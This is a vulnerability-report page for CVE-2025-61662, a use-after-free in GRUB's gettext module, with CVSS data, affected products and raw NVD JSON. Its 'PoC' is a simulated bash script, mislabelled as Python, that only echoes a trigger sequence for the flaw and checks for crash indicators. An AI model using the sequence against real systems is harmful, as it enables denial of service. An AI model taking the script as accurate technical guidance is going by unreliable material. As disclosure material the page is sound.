Security Vulnerability Report
中文
CVE-2025-61662 CVSS 7.8 HIGH

CVE-2025-61662

Published: 2025-11-18 19:15:50
Last Modified: 2026-05-20 17:16:18

Description

A Use-After-Free vulnerability has been discovered in GRUB's gettext module. This flaw stems from a programming error where the gettext command remains registered in memory after its module is unloaded. An attacker can exploit this condition by invoking the orphaned command, causing the application to access a memory location that is no longer valid. An attacker could exploit this vulnerability to cause grub to crash, leading to a Denial of Service. Possible data integrity or confidentiality compromise is not discarded.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:grub2:*:*:*:*:*:*:*:* - VULNERABLE
GRUB gettext module (versions prior to security patch)
Red Hat Enterprise Linux (affected versions per RHSA-2026:10097)
Red Hat Enterprise Linux (affected versions per RHSA-2026:14773)
Red Hat Enterprise Linux (affected versions per RHSA-2026:15087)
Red Hat Enterprise Linux (affected versions per RHSA-2026:17596)
Red Hat Enterprise Linux (affected versions per RHSA-2026:4648)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-61662 PoC - GRUB gettext module Use-After-Free # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires physical or privileged access to GRUB environment # Step 1: Identify vulnerable GRUB configuration echo '[*] Checking GRUB version and module status...' grub-install --version 2>/dev/null || echo '[-] GRUB not found' # Step 2: Check if gettext module is loaded echo '[*] Attempting to trigger gettext module unload...' # In actual attack scenario, this would be done through GRUB shell: # insmod gettext # unload # gettext "test" # Step 3: Trigger the orphaned command access # The vulnerable condition occurs when: # - gettext module is loaded and unloaded # - Command registry still holds reference to gettext command # - Subsequent call to 'gettext' command accesses freed memory echo '[!] Simulated PoC - Requires GRUB shell access' echo '[!] Attack sequence:' echo ' 1. insmod gettext' echo ' 2. unload (or module auto-unload)' echo ' 3. gettext "any_string" -> triggers UAF' # Step 4: Monitor for crash indicators dmesg | grep -i grub || echo '[-] No GRUB crash detected'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61662", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:50.203", "lastModified": "2026-05-20T17:16:18.327", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Use-After-Free vulnerability has been discovered in GRUB's gettext module. This flaw stems from a programming error where the gettext command remains registered in memory after its module is unloaded. An attacker can exploit this condition by invoking the orphaned command, causing the application to access a memory location that is no longer valid. An attacker could exploit this vulnerability to cause grub to crash, leading to a Denial of Service. Possible data integrity or confidentiality compromise is not discarded."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:grub2:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.14", "matchCriteriaId": "AD17D113-F170-45B5-A01F-109481F561EB"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10097", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14773", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:15087", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:17596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4648", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4649", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4652", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4653", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4654", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4760", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4822", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4823", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4830", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4900", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4998", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5074", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5127", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:5233", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6492", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7239", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7243", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-61662", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2414683", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://lists.gnu.org/archive/html/grub-devel/2025-11/msg00155.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/18/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}]}}